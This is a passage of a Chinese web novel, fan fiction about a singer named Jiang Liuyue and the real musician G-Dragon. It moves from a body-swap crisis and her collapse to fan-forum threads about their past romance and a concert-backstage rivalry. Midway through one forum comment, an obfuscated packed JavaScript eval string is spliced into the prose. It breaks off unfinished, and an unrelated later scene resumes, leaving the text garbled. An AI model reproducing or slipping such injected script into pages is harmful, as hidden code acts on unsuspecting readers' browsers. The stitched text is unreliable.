心中陡然而生的渴望让江留月终于不再摇摆,她闭上眼睛深吸一口气之后,自己支撑着爬下了天 台。 她脚步虚浮的回到了自己的家,权志龙惊魂未定的只敢跟着她,却见她只是走过去给手机充电。 手机开机,大批未接来电和短信冲进来,江留月站在那回复,她平静的简直有些诡异了。 权志龙发了很多信息,她一回复,对方的电话就冲过来了。 江留月喉咙都发不出什么声音了,她拒接了电话,然后说自己发不出声音,权志龙便用短信一条条 发过来。 他在道歉,求她原谅,求她不要生气,求她赶紧回家或者去医院,求她至少要好好吃饭好好睡觉。 江留月的手指悬浮了很久,不知道怎么,忽然不受控制的打出一句话: 【可是我们的孩子没有了。】 发完她就后悔了,甚至于惊愕的哎呀了一声。 这条短信发过去之后,权志龙久久没有回复,江留月盯着手机,表情紧张又害怕。 “我做错事情了,我做错事情了……” 江留月焦虑的嗫嚅着:“怎么办……我好像做错事情了……因为那只是个游戏啊……他又不喜欢那 个游戏…而且那不是真的小孩……我不应该反应那么大……啊,奇怪,我为什么会发这句话啊…… 搞得我好像很介意一样……” 她攥着手机团团转,焦虑的咬着自己的手指,一直在碎碎念,韩语夹杂着中文,权志龙已经听不懂 了,只觉得她精神太紧绷了。 过了一会儿,江留月忽然笔直的进了游戏室,然后不知道从哪摸出了一个工具锤。 游戏室的桌子上摆着一个乐高,已经组装大半,权志龙精神恍惚,好一会儿才反应过来,这是一个《甜蜜家园》里,他们共同居住的小豪宅的复刻作品。 绿色的草坪,红屋顶的家,有游泳池的花园旁边是一张野餐布,坐着他们在游戏里捏的自己的小 人,还有一个金发碧眼的小孩,一个躺在摇篮里的baby。 屋顶上挂着一个牌子,上面拼着sweet home。 江留月坐在地上,看着这个半成品,她脸上都是干掉的泪痕,眼睛肿的要命,人也看起来精神恍 惚。 她喜欢这个游戏,甚至有点着魔了。 她喜欢这个游戏里,谁也不认识她和权志龙,他们手拉手正大光明的走在路上,他们在餐厅里触发 随机事件,服务生送玫瑰花给他们,然后偷偷吐槽,说您的先生看起来是个笨拙的人。 金融商人更喜欢权志龙,但是农场主们更喜欢她,他们去订做戒指的时候,权志龙因为不想刷那个 好感度在耍赖,首饰工匠说‘不要毁掉女孩对婚姻的幻想’。 她喜欢这个游戏里,权志龙只是权志龙,江留月只是江留月。 大家终于公正公平的看到两个人,而非一个人和他的附属品。 她关于未来的幻想终于不是将她拒之门外的家门和权志龙忽然收回的真心,而是彩色羽毛球争夺战 和全家穿着猫咪亲子装去野餐。 她邀请了她最好的朋友们和她居住在同一个社区,他们之间那些微妙的竞争依附关系,终于全都不 见了。 真幸福啊。 可惜全是假的。 江留月拿起工具锤,将这个乐高砸了个稀烂,零件飞溅,把旁边八斗柜上的台历表都给打翻在地上 了。 她呼哧呼哧的喘着气,整个人都虚脱的瘫在了地上,权志龙听到她自言自语说:“这不是什么难过 的事情……这不是…是我错了……我理解错了…” “我有家,这里是我的家,志龙哥的家也是我的家,我可以待在这里,也可以回家。” “那只是游戏。” “好像是我太沉迷了。” “没什么大不了的。” 她反反复复的说着,手里紧紧地攥着手机,大概是折腾了一个晚上,她实在是太累了,于是将自己 慢慢的蜷缩成很小的一团,缩进了工作桌旁边的一个夹角,似乎那里总算给了她一些安全感,她慢 慢的安静了下来。 她其实心脏还很痛,也有些上不来气,这个姿势让她好过了一些。 她的呼吸越来越薄,越来越弱,最终变得轻不可闻。 她做了个梦,梦见绿色的草地上,风吹起波浪,她坐在树荫下,看见权志龙抱着一束花朝她走过 来。 她起身迎接,扑向他的怀抱,看到他的身后有一栋红色屋顶的房子,上面用英文字母写着sweet home。 风又轻又柔,阳光暖暖的,权志龙漂亮的淡色瞳孔里,江留月看到自己的身影。 她觉得安心,于是在这里沉沉睡去。 这是她的家。 她将会在这里度过漫长的甜蜜人生。 * 权志龙从卫生间的盥洗盆里抬起头,他看到镜子里狼狈不堪的自己。 满头的水,通红的眼睛,因为缺氧而青筋暴起的脖子。 他顾不得跟交换位置的自己有任何沟通,几乎是踉跄着推开门,穿过走廊,来到了客厅。 客厅的沙发上,江留月正盘腿在玩平板,听见动静抬起眼,然后露出了惊讶的表情。 “……你……啊,啊,呃……志龙哥。” 她似乎一眼就辨认出他的身体换回了原来的灵魂,卡壳片刻之后露出了尴尬而不失礼貌的微笑。 权志龙三步并作两步扑上去抱住了她,力气大的要把她攥碎。 江留月疼的吸气,想推开,却听见了压抑而痛苦的哭声。 “……” 不是,这为什么呀。 江留月人都麻了,这几天虽然她捋清楚了有两个权志龙的灵魂,且刚才那个和她一起来自未来的权 志龙去洗手间之前预警过2014权志龙的本尊回归,但没说回来就哭啊。 话说……这人是去哪里了? 江留月还在走神,权志龙已经哭着开始道歉,语无伦次的让她费了好大劲儿才听清楚,他是为了搞 坏了那个游戏的房子在道歉。 “……啊,没关系。” 江留月下意识的回答道:“反正那只是个游戏啊。” 她的本意是安慰对方,但只是一瞬,她第一次那么清晰的看到一个人脸上的血色能有多快就褪去。 权志龙看着她,试图从她脸上找到什么一样的,死盯着她。 江留月坦然的任他看,甚至露出一个微笑。 “别哭了,志龙哥。” 她甚至伸出手为他擦去了眼泪: “那没什么大不了的。” “……而且道歉的话,也太久了吧。” 如果是小伤,那早就愈合了。 如果是重伤,那她早就死了。 可能就死在,某个被风吹拂过的,绿色的草地上吧。 66.错位时空 (上) 66.错位时空 四月一日,一个不知道什么时候开始,被赋予了整蛊、搞怪的娱乐节日,又不知道什么时候开始,成了明星粉丝站姐们的狂欢日。 大家在这一天会更换站名,改掉头像,随机cos成别的艺人的站子,甚至会假扮对家,发布整蛊性质的内容,有的不太敢玩的,就换成自担的队友、好友、保镖或者公司老板、圈内大前辈的皮下,有的敢玩的,就产生许多令人震撼的玩法。 在这一天,大家似乎都放下了成见,抱着‘独乐乐不如众乐乐’的想法肆意在评论里撒欢,这一天 的气氛,也往往是最为热烈和谐的。 因此,也有一些粉丝们会在自己的社媒上扮演别家粉丝,也有搞抽象把自己整成自担绯闻女友,给自己P上新闻的,也有趁乱给自担公司老板发讣告的,总之,乱成一锅粥的时候有网友路过,也会低头喝一口。 但,只要灰姑娘十二点的钟声响起,各位站姐们换回了自己的ID,首页和置顶也变回自担的盛世美 颜和最新资讯,同好们在评论里里开着玩笑,就又披上日常的衣服,成为彼此最熟悉的样子,这胡 闹的一天,谁也不会再提起。 于是,凌晨2点,在某个社媒的某个圈子内,这条忽然蹦出来的帖子,就变得很扎眼。 ‘请问PMO什么时候会上这个帽子?今天一眼看到就相中了,好美好美,以前get不到这种棒球帽现 在只想得到。’ 帖子配了好几张图,都是同一个人不同角度和位置的机场图,图中一个穿着简单的白T恤和浅蓝色 牛仔裤口的年轻女子正在穿过人声鼎沸的机场,她斜挎着一个铆钉小包,浑身上下都是素净的,唯 独那顶遮盖了她几乎全部眉眼的棒球帽是极为鲜艳跳脱的亮粉色。 这顶棒球帽吸引人眼球的不只是因为艳丽的色彩,还因为帽子后尾拖下来一条很长的标志性的防风 绳,几张不同角度的图中,女子在抬头看屏幕或者低下头翻找东西的时候,那条长长的粉色带子就 在她窄窄的肩膀上跳动,有几张图还和她的头发一起垂下来,更映衬的尖尖的下巴和露出来的小半张脸庞雪白一片。 发帖的人在图下面附注说明:这张图是今天在置顶帖里看到的,我是个刚入坑的萌新所以只能从那 个很长的带子认出来是PMO的帽子,但是我去官网还有咸鱼看到没有看到这个款,请问这是新款 吗?站子里会不会有团购?有没有同担知道怎么买? 这个帖子发出去的时候已经是凌晨2点,如果是别的社媒,可能会没什么热度,但熬夜这种东西, 只是追星女们的日常操作,所以这个帖子很快就被点爆了。 ‘什么东西……我点进来一看吓我一跳,谁懂啊,大半夜看到某人我心脏都骤停了。’ ‘同。’ ‘怎么还在发啊,老子忍了一天了。’ ‘主持人能不能给这条删了啊。’ ‘谁能想到,已经过去了6年了,这张图出现的时候依然威力不改,我就说*姐这次玩大了,玩谁不 好玩顶流。’ ‘哎哟~~顶~~流~~~是哦,谁能像她一样~一个月上122次热搜~是真顶流还是砸钱买营销,大家都不 是傻子好吗?’ ‘*姐要发这套图何尝不是意难平,我这辈子都讨厌粉色的帽子,MD。’ ‘这啥时候的图了,2016年的吧?那时候酱面炸了没。’ ‘回楼上,炸了炸了,15年hz后台那事儿之后酱面大站姐跑了好几个,有时候我也挺佩服她的,一 般人就扛不住退圈了吧,她还能厚着脸皮跳出来。’ ‘主持人删帖@******’ ‘发帖子的你最好不是在搞抽象’ ‘大半夜给老子瞌睡都吓醒了,怎么了,顶流是不是缺热度了,还是最近那个片场驱逐粉丝的事儿 盖不住了,又要拉我哥出来挡枪了,真是无事YG黑,有事YGgirl,歪鸡早就该倒闭了,你也是。’ ‘好像发帖的真是个萌新,我进她主页看了,就是个学生,最近才入坑的样子。’ ‘劝删’ ‘大家真的很闲是吗,这条帖子的浏览量爆了,这tm有什么好爆的????’ 流量这种东西,就是很离奇。 你越是觉得‘这种事情有什么好大惊小怪’的时候,这条讯息往往就会掀起来不一样的波澜。 也许是刚刚十二点的钟声让网友们还意犹未尽,也许是顶流的确是真顶流,她的粉丝们永远活跃在 意想不到的地方,总之,当这条帖子已经出圈爬上了榜单的时候,这个发帖人的本意已经不再重要 了。 在这场混战里,有人在厮杀,有人在翻旧账,有人在骂街,有人在劝架,有人在抱怨,有人在看热 闹,也有人因此被撕开了记忆中的一角,散落一地的零碎记忆,也有一些人,因为是营销号,所以 苦命的爬起来抓住这个热点开始剪视频。 引发了这场混战的那一顶粉色的棒球帽,江留月只戴过一次,她戴着这顶帽子出现在机场的时候, 粉丝们也发现了标志性的防风绳。 此时,江留月和YG的关系已经非常紧张了,她频繁的往中国跑活动,拒绝出席YG的相关活动,业内 已经猜测她要跑路回中国,这让许多家族粉变得很紧张,各大CP站也是哀嚎遍野。 因此当她戴着粉色的PMO帽子出现在机场的时候,无疑是给家族粉以及CP粉尤其是龙月CP粉打了一 针强心剂。 “是PMO的新品,等上架了,大家多多支持吧。” 江留月出机场的时候碰到了采访的记者,不可避免的被提到帽子是不是权志龙送给她的礼物,她微 微一笑,没有否认也没有承认的给PMO打了个广告。 CP粉们像是打了鸡血一样,认定这一定是爱情的馈赠,家族粉们则感动的泪眼汪汪谁说我们塔伊要 离开YG了,而唯粉们也各有各的说法:毕竟是一个公司的前后辈,帮忙打个广告怎么了? ——如果真的是广告的话,这件事儿也就那么过去了。 但,PMO直到6年后,也就是2022年,也没有上架过同款棒球帽。 那一顶艳粉色的,拖着长长的防风绳,调节收紧的金属扣被做成一个可活动的金属月亮,当绳子拖 动的时候,会因为扣上的圆环切换成一个圆圆的月亮不断变成弯月的形状的棒球帽,成为了孤品。 江留月也没有在之后的场合里带过,这本该被人遗忘的帽子,也曾有一阵子火热在国内的购物网站 上,被各种复刻,但又过了一两年,这顶帽子就彻底销声匿迹了。 有人不死心的因为帽子的美貌而去委托私人定制,但只要在社媒上晒出来,最后都默默地都删掉 了。 大抵是因为,江留月回国之后和YG撕扯的太难看,这顶在当时带着一些安抚意味出现的帽子就成了 许多粉丝的应激物品,晒的人很容易被围攻的原因。 因此,4月1日当天,权志龙的某个大站姐不仅cos了一把江留月的个站,还将这张机场图塞到18张图里的时候,就引发过一阵讨论,不过大家都秉承着‘过节归过节’的原则,谁也没多嘴提这茬, 直到凌晨的这个帖子,再度让已经平息的情绪沸腾了起来。“……” “……啊?” 江留月听完了舆情监控那边的工作人员做完的汇报之后,就是这么一个反应。 她睁大了眼睛,用迷茫的眼神看着对方,好一会儿,叹了口气,低下头,将脸埋在自己的手掌心 里。 要命了。 她和权志龙到底是什么腥风血雨的体质,又是什么孽缘啊。 江留月此时正在巡演中,她实在分不出什么精力来应对这些东西,而且,都6年了,到底是为什么那么恨她啊,恨她就算了,那么多年还久久地盯着她又是图什么呢? 她如果真的恨一个人,是不愿意盯着对方的。 江留月不理解,江留月茫然,她捂着额头想了好一会儿,最终长长的叹了口气:“算了,别管了, 两三天就没事儿了。” 说来就很奇怪,她和权志龙自2017年分手,2019年彻底撕破脸到如今,怎么算都那么多年没见了, 但年年都会因为一些奇怪的理由上一下热搜。 江留月已经习惯了,反正到最后挨骂的人一定是她,她的热搜太多,内娱对家也太多,权志龙自退伍之后除了看秀和卖鞋就是一个完全的深居简出,这种上热搜的锅当然都是她这单薄的小身板扛起 来的。 好在当下的时代早就是流量为王,一个热点扑一个热点,大家都成了鱼的记忆,除非特别恶劣,江 留月一般不会插手。 这次她也决定冷处理,想着只要过两天演唱会出一些神图和直拍,这波热点自然能下去,但显然, 她想的太简单了。 可能是因为最近巡演她的热度确实很高,歌曲也确实好听,再加上去年拍的古偶男主今年又拍了个 类似题材最近在热播,两部剧也被拉出来对比,营销号们就不肯放过这个热点,把这么个屁大的事 儿放到热搜上挂了两天。 然后,一个帖子在某社媒平台上突然大爆特爆。 ‘家人们谁懂啊,最近看八卦竟然入坑BE了5年的CP,我要怎么调理啊。’ 帖子的内容也很简单,发帖人完全不看韩娱,对江留月的了解也是从两三年前的古偶热播开始的, 但也最多只是个路人粉,并没有上头,最近因为那个愚人节第二天的帖子看了很多营销号开始考古 江留月的韩娱时代,然后就一发不可收拾的开始上头,结果发现这对上头的情侣已经在五年前自己 下头了,一时之间不知道如何是好,只能来这求点粮食,并恳求坑内同担能指点迷津如何调节。 ‘看题目知CP。’ ‘节哀,另外更正,不是BE了5年,是BE了6年。’ ‘BE?什么BE?什么是BE?我怎么不知道BE了,你不要给我乱说话,豹豹猫猫好得很,他们俩昨天 还做恨了,我在床底下亲耳听到的。’ ‘都做恨了还没BE?’ ‘不怕死的说一句我甚至是看月家大粉的辟谣贴入坑的救命,那哪里是辟谣,简直是铁证如山的婚书,什么叫做【对于明月来说那只是需要被忘记的过去,她要记住的只有当下美好的现在和灿烂的 未来】,不就石锤GD是前夫哥了吗?’ ‘别瞎嗑……我姐现在爱情事业双稳定,周姐夫人品好性格好又体贴,哪样不比某个花花公子 好。’ ‘哈?!明月那边还没承认吧!?!她和卫小少爷不谈了?’ ‘少来沾边,卫家那个也好意思说小少爷笑死,剧中人设不要代入现实谢谢,什么少爷,一家五口住120平的少爷吗?恕我直言,我妹别墅的花园都比他家大,不是妹他现在还是个十八线小演员, 凭着跟妹演电视剧上位一步登天转头就开始营销自己富贵少爷为爱屈尊……真是演戏演太多自己都 信了。’ ‘她和GD到底是什么时候开始谈的……我看营销号有说09的有说11的还有说没出道就在一起的,明 月没出道的时候不是才十四五?’ ‘卫生纸退退退!!’ ‘救命我什么时候看到卫生纸这个绰号才能不笑啊,月兔们太有才了。’ ‘我去看盘点被零几年妹的容貌震撼……一代颜霸名不虚传,可恨韩国人喜欢那种邻家妹妹型的, 这种倾国倾城大美人就该在国内被当成掌上明珠捧手心里!!!’ ‘拜托看了盘点你们真的能入坑吗?妹和GD当时站在一起简直是小美女和黄毛……GD零几年的造型 太狠了……那个头发剃一半,妹在旁边跟个小蛋糕被绑架了一样……’ ‘周姐夫是谁?’ ‘这俩人绝对谈过,13年明月去给权志龙的那个什么新专辑发布直播当嘉宾两个人清唱ROD的时 候,权志龙一边唱一边笑,两个人的腿一直贴在一起,还说这首歌里他写了一半歌词,然后这一半歌词都是想着明月写的……这和官宣有什么区别!?!’ ‘做恨做恨做恨,一做就发了狠,忘了情!安塞腰鼓!!’ ‘周以端吧,他爹是老一辈艺术家了,明月现在的公司老总算他爹的战友,性格很好很温和也特别 低调的人,剧抛脸,演技很牛。’ ‘GD的审美超前大众三十年……你觉得他零几年丑,人家零几年就被各大奢侈品品牌邀请看秀代言 了,没有那些冲击性的舞台,后面的爱豆歌手们靠什么汲取灵感当多利羊?’ ‘为什么BE啊!!!我越看越糊涂了!!有没有前辈仙人指路啊!’ ‘正常的爱情固然令人心动,我的理智告诉我我支持周姐夫来给姐一点情感上的慰藉,但我的灵魂 躁动着想吃一些畸形的爱情……有没有太太回坑做饭啊我好想吃啊!!’ ‘我懂我懂,我真的懂!!!!这俩人真的太好嗑了我的天啊!!那种恨海情天的味儿真是随便一 个对视就出来了,比起甜甜的恋爱,这种萦绕不去的纠缠更让我心动,啊,我的CP又往我心口捅刀 子了,真好啊……’ ‘……楼上真的还好吗?’ ‘别管了,嗑他俩哪有不疯的,我15年明月hz那次入坑的,当时想着得有多爱,两个那么火的艺人 放着大好前途不要也要谈,之后就感觉俩人跟官宣差不多了,谁能想到后面突然就急转直下了……’ ‘JTJ去死’ ‘????什么情况????JTJ是谁?’ ‘啊……如果是龙月老粉,一秒get,但不好说,骂的是Alice的经纪人吧。’ ‘金优?他不是人很好?别吓我,我还嗑他和明月呢。’ ‘他能力太差了…而且这个人神神道道很奇怪……感兴趣你可以去搜这个id****,主页有详细的证 据盘点。’ ‘没办法调理,认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她开了梯子去爬ins,权志龙的确是去看展了,这是一个以童话故事为原型进行创作的艺术展,除 了《爱丽丝漫游奇遇记》之外,还有《绿野仙踪》、《快乐王子》等许多耳熟能详的作品。 权志龙不光拍了爱丽丝的相关作品,也拍了绿野仙踪铁皮人,只是前者是单发的,后者是和其他作品一起发的。 “……不是,这人本来就喜欢这部作品,单独发也不奇怪啊。” 江留月对自己说。 她心里很慌,攥着手机的手一个劲儿的冒出汗水。 她的手指在键盘上犹豫,最终放弃的把手机反扣在桌面上。 她的耳边传来遥远的鲸吟。 是权志龙。 江留月没有正式出道之前,以模特的身份拍摄过不少平面杂志,当模特很辛苦,也很累,面对的不 止是工作上的压迫,还有扭曲圈子带来的高强度精神压力。 她其实挺害怕的,但,脚步已经迈出去了,就没有收回去的道理。 是权志龙握住了她的手。 并不算宽大的少年的手掌牵着她的手走在没什么路灯的路上,这是一次拍摄结束之后,江留月被遗 忘在了拍摄基地,这里很偏僻,她打不到车,经纪人的电话也打不通,她只好鼓足勇气打给唯一能求助的人。 权志龙接电话的时候很不耐烦,听完她说话之后很重的叹气,然后叽里咕噜的骂她,江留月却只听 到最后一句。 “站那别动,哥很快就到,你这丫头今天要挨我一脚。” 权志龙来了之后真的踢了她一下,只是故意没踢到她,他一个劲儿抱怨她毁掉了他难得的休息日, 捏着她脸蛋子的肉问她是不是故意的,还说要江留月请客吃饭。 江留月因为很累又很委屈,说不出什么话,脚步也很慢很重,两个人都没什么钱,不是能打车回去 的实力,便只好走到很远的公车站去。 江留月越走越慢,她站了太久,太累了,她真的走不动了。 权志龙回过头,一边骂她磨叽一边伸手拉住了她的手拖着她往上坡走,江留月忍不住哭了,权志龙烦的直挠头,问她有什么好哭的为什么要哭,他觉得自己才是那个该哭的人。 “和想的不一样……我不知道当艺人是这样的……我觉得很可怕……很累……” 江留月语无伦次的解释,她说起太复杂的单词还是会有点词不达意,权志龙听也听不懂,只好任她 说,拉着她的手继续往公车站走。 江留月怨气冲天,一直到坐上了公车才说得口干舌燥的停下来,车上人很多,她抽噎着靠着权志 龙,权志龙一只手撑开她和别人之间的距离,她又累又困又饿,靠着权志龙的肩膀昏昏欲睡。 接下来江留月的记忆就不清晰了,等到她醒过来发现自己在权志龙的背上。 晃晃悠悠,好像是小船。 她不敢吱声,但权志龙却立刻察觉了:“醒了……?那就滚下来,你要累死我?” 江留月睡了一觉,人精神好多了,这时候儿就有点忸怩和羞愧,跟着她哥大气不敢出的往回走。 “睡了一觉,舒服多了吧。” 权志龙却没有骂她,而是用一种嘲笑一样的口吻说道:“是不是艺人的世界也没那么可怕了?” 江留月迟疑着点了点头。 “就是嘛,会好的,你是Alice呀。”权志龙摸了摸她的头:“不管在奇怪的世界里遭遇了什么可 怕的事情,只要睡一觉你就能在绿色的草地上醒过来,那些坏的,伤心的事情,都会跟着梦一起消 散的。” 年幼的,懵懂的,被命运推着掉入深深的悬崖,来到陌生的异国他乡的爱丽丝,支撑着她一直往前 走的,是午睡后醒来的绿色的草地上迎面吹来的风。 她跟在权志龙的身后,风吹起少年单薄身体上的T恤和他太久没有打理而变长的头发,江留月不自觉的侧头看他,权志龙高挺的鼻梁下抿着的小巧的嘴唇。 察觉到她的目光,权志龙转头看向她,淡色的的瞳孔里,江留月看到自己的倒影。 权志龙忽然笑了一下,他伸出手轻轻地敲了一下她的额头: “怎么了,还没睡醒吗?” 江留月猛然惊醒了。 休息室的空调很低,她醒来的瞬间,冷意就渗透了身体。 她恍恍惚惚的四处看,好一会儿才反应过来自己身在何处,她因为寒冷而打了个哆嗦,然后捂住了 自己的脸。 好久好久。 空调出风口发出嗡嗡的蜂鸣,江留月总算调整了过来,她拿起了手机,给备注为‘周师兄’的人发 了一条信息。 她很快得到了回复,对方说自己有时间,可以配合她去接下来演唱会的后台刷一下存在感压一下最 近的新闻。 江留月发了感谢的话过去,对方又问她下一站演唱会在哪里。 江留月的手指再次悬空,好一会儿,才发送了过去。 【杭州】。 67.错位时空 67.错位时空 (中) 周以端落地杭州的时候,就感到了空气中微妙的气流。 他不明所以的朝着出口走去,然后就看到另一对人马浩浩荡荡的往这边涌动。 没错,就是涌动。 人群如同一个庞大的蜂群一般,吵吵嚷嚷,极具震慑力的朝着他扑来。 周以端下意识的问了一嘴旁边的助理:“怎么回事?” 旁边举着手机在拍他的小姑娘们不约而同的把摄像头从他的脸上挪到了‘蜂群’中的蜂后身上,然 后不断的发出‘卧槽’的声音。 周以端家庭传统,家教极严,对于这种脏话下意识的蹙眉,他其实都不太懂现在的小女孩们怎么讲 话那么不注意,但很快,他的注意力就被‘蜂后’夺走了。 被许多女孩子们簇拥着的,戴着一副墨镜,显然是精心打扮过的瘦高年轻男人也停下了脚步,遥遥 的看向了他。 两个人皆是身高优越,肩宽腰细腿长,一个是内敛谦和温润如玉,一个是帅气张扬意气风发,一个 是出身演艺世家的实力派演员,一个是炙手可热的内娱男顶流,分别站在一条线的两段,视线交汇 处,似有风起云涌。 在场的站姐和粉丝们手下快门不停,路过的路人们也议论纷纷,不过十几分钟,这张‘世界名 画’就刷爆了社媒热搜榜。 ‘好家伙,江明月这是要养蛊吗?’ ‘精彩,实在是精彩……上次看到这样的大场面还是在年度风云人物颁奖典礼上,真是流水的热搜 铁打的后宫,江姐什么时候能把这种人生让我演两天。’ “哇哦~~京圈演艺世家贵公子VS沪圈富家小少爷,一个温润如玉一个桀骜不驯,两个从不动心的男 人只为了她才会露出被嫉妒激红的双眼……” “楼上你的当务之急是卸载红柿子小说” “不是,这俩人怎么碰到一起的???他们俩不是一个公司的吗?如果这样会碰到一起不干脆一个 飞机过来?” “周以端是在厦门那边拍戏过来的,卫邛是北京飞过来的,本来两个人碰不上的,可是卫邛的飞机 晚点了,只能说老天爷让我们来看这场大戏。” “KTS是怎么想的……龚池这个傻逼一天到晚会不会做事,真想当粪坑吗?我姐才是KTS唯一真 神……巡演收入拉爆整个公司营收把公司拱到上市,非要搞几个野男人来硬蹭是吧,卫生纸都他妈 的蹭几年了还没蹭够啊。” “没办法嘻嘻嘻嘻,他当时和妹捆绑炒CP一步登天尝到甜头就提纯CP粉结果大翻车,号称一线却已 经三年没作品了,可不得舔着脸过来给妹当狗,就这还一天到晚营销自己富家少爷为梦进圈呢,没 看到他追梦就看到他谁红追谁,不知道的还以为发疯的野牛。” “楼上好骂。” “周以端又是什么好货色,营销演艺世家其实全靠爹妈,说是实力派演员最佳绿叶难道是因为不想 当男一号吗?” “出江明月上海场6号晚上VIPA区两张票,有意者私” “好看,爱看,就爱看一些男人雄竞的修罗场,要是能开直播就好了” “一定要在这俩人里面选吗?难道无人嗑月上柳梢头吗?柳知聿你争点气啊,这时候不来什么时候 来?” “KTS快点倒闭吧真服了我女什么命啊,这公司还不如歪鸡呢我艹,我女在歪鸡的时候从来没这种 糟心事” “柳知聿在内蒙拍戏勿扰,柳叶家很尊重明月姐姐,我们家哥哥也确实是姐姐粉丝,但俩人坦坦荡 荡,电视剧宣传期结束之后和平解绑,这种时候就别带他了” “新粉才说出在歪鸡没这种事儿吧,真忘了日本韩国两边CP站排名你家姐姐回回洗榜前三的事儿 了?” “杭州场的票都绑的身份证,大家出票收票小心上当哈” “歪鸡炒CP是建立在大家的关系都很好的前提上的,卫生纸和我姐这辈子最好的关系就是我姐推着 购物车从货架跟前经过好吗?” “卫生纸廉价人设内增高,卫生纸廉价人设内增高,卫生纸廉价人设内增高,卫生纸廉价人设内增 高,卫生纸廉价人设内增高,卫生纸廉价人设内增高,卫生纸廉价人设内增高,卫生纸廉价人设内增高,卫生纸廉价人设内增高,卫生纸廉价人设内增高” “好精彩啊,时代也是变了,之前都是看女的和女的扯头花,第一次看男的扯,好看,爱看,多多 让我看” “啊啊啊啊啊啊我就知道我嗑的cp是真的!!!dream一个5号能看到小少爷和月的双人舞 台!!!!” “滚啊!!!我姐熬夜彩排累得半死,不需要打扰好吗?!让我姐一个人美美的,狗男人们都不要 来沾边啊!!!” “我站柳知聿,默默守护从不打扰的小狗才是好小狗!!!” “认真的吗?就卫邛那个唱功……我花了一万块买黄牛是为了欣赏我姐的绝美舞台的,不是为了看 有人唱歌如吊命的!” “我站吉如心。” “周以端仪态真好,他好适合演古装剧里的贵公子,看着就感觉很可靠。” “真有意思,不是KTS硬要搞这种事儿,我家哥哥才没有时间来好吗?他只是个小艺人比不上大前 辈,不要利用了他还要践踏他的真心,人在做天在看,惹不起大前辈粉,我只是说句公道话。” “吉如心+10086。” “男人们还在机场,我心姐已经陪着彩排两天两夜了,昨天还手拉手一起去吃夜宵了,月亮代表我 的心才是最屌的!” “好乱……真服了能不能不要把韩娱那一套炒CP带到内娱来啊,我尴尬病都要犯了,见个男人就想 给你家姐姐拉红线是没有男人就活不了了?” “笑死,到底是江明月想炒CP,还是有些人离开了江明月的热度就啥也不是,网友们会给出英明的 裁决的。” “江明月要炒CP难道没有更好的人选吗?比如最近INS疯狂点赞那位?” “有一说一,某人虽然也有诸多缺点,但就影响力来说,浅浅多五百个周以端一千卷卫生纸吧。” “卫邛和妹的舞台我只看单人剪辑,但如果是权龙和妹的舞台,我可以多出一万。” “真有意思,周以端一个三流演员也能比我哥多?呵呵。” “周以端好歹有国民认知中的角色,你哥去掉和明月的那个角色之外,除了粉丝心中,就查无此人 了,拍六部糊六部,谁看了不说一句牛逼?” “笑死卫邛小学生粉多实锤,竟然能认自己哥真的在和周以端雄竞这件事情。” “呜呜呜呜是谁刷烂了13年的人气歌谣和首尔最终场演唱会,是我呜呜呜呜” “放屁,我妹绝不远嫁,我买不到演唱会门票的地方都是远嫁!!(但我可以接受权龙入赘,同意 抠1)” “楼上你的CP早就BE了,你还做梦他们能结婚呢?” “楼上你难道不想权龙入赘吗?” “权龙劣迹斑斑,我只接受他做小,还是我心姐来当大婆吧,男人怎么配和我女平起平坐,时代变 了,大人。” “报————周以端和卫邛都直接去演唱会了!!!!” “吵归吵闹归闹,我更想知道明月看到这俩人同时出现会是什么表情。” “杭州有没有后台vlog????跪求一个!!!” 什么表情? 没有表情。 江留月看着同时出现的这两个人,手里的动作都暂停了一瞬。 周以端是她邀请来的,卫邛又是怎么回事? 此时距离演唱会开场仅有三个小时,江留月刚完成最后的流程彩排,正在和团队确认一些彩排中发 现的小问题,一抬头,就发现自己的大麻烦来了。 周以端面带微笑,点头问号,卫邛则臭着脸抱着胸,浑身上下都写满了不高兴。 先不管卫邛的这个富家少爷人设对不对,他的性格倒是真的挺少爷的,就算是当十八线演员的时 候,也有一种恃才而傲的狂气。 江留月和卫邛的合作属实情非得已,当初她转型去拍摄古偶,定下来的男主本是某大势顶流,结果 才开机没多久顶流就殉了,当时真是拖不起也等不起,一般人也不太敢接这个活儿,KTS就在自己 家公司里找,还真扒拉出来一个二十出头的好苗子,这个人就是卫邛。 卫邛盘靓条顺,有一张好脸蛋,个子高挑肩宽腰细,就是脾气很不好,得罪过不少投资人,他从不在自己身上找问题,怪天怪地怪命运,整天阴郁的连个笑脸都没有。 巧了,他扮演的那个角色就是一个被命运玩弄的悲惨男人,明明是天潢贵胄,却因为上一辈的纠葛 一朝跌落神坛,阴郁敏感孤僻又偏执,跟女主上演了我虐你你爱我我再虐你你更爱我的情深戏码。 卫邛本身的气质和状态很吻合角色,加上这个剧本本来是为两个顶流级别的人物打造的,不管是剧 情还是场景、后期、剪辑都是一等一的团队,这个电视剧就大爆特爆,一下子把‘江明月’这个名 字打到了全国各地,卫邛也一步登天,成为了新一代男顶流。 这部电视剧对江留月来说很重要,几乎能决定她之后在内娱的星途是否顺遂,因此她在里面投入极 大的精力和热情,宣传期间更是营业精神拉满——这句话的意思是,她压着自己对卫邛那幼稚中二 性格的反感,忍气吞声的跟他卖起了CP,硬生生撑到两个人凭借这个电视剧拿下当年最高人气奖的那一刻。 拿完奖之后江留月就火速跑到日本去学声乐了,她实在是一刻也不能忍卫邛那颐气指使的性格,卫 邛那边直接大破防,先是质问然后发疯,最后就开始作妖提纯,江留月不知道这是卫邛的本意还是 他的团队在操作,又或者是KTS想要扶一个男顶流出来和她分庭抗争,总之那阵子为了提纯,卫邛 那边还是做了挺多恶心到她的事情的。 因此江留月实在很难给卫邛好脸色,更不要提,她根本没有邀请卫邛来演唱会。 这里是她的演唱会后台,又不是公司,江留月就更懒得演了,她笑着跟周以端打了招呼,问他有没 有吃饭,演唱会开始之前江留月是不吃食物,只会喝功能饮料的,但想着周以端来,她让人打包了 一些方便吃冷食的日料预备着。 卫邛闻言脸色更臭了,他直接冲过来:“我不是人吗?明月,你怎么不问我吃没吃?” 他一张俊美的脸此刻扭曲成一团:“我熬夜结束拍摄就来了,你怎么不问我?” 江留月看了他一眼,又看了一眼旁边。 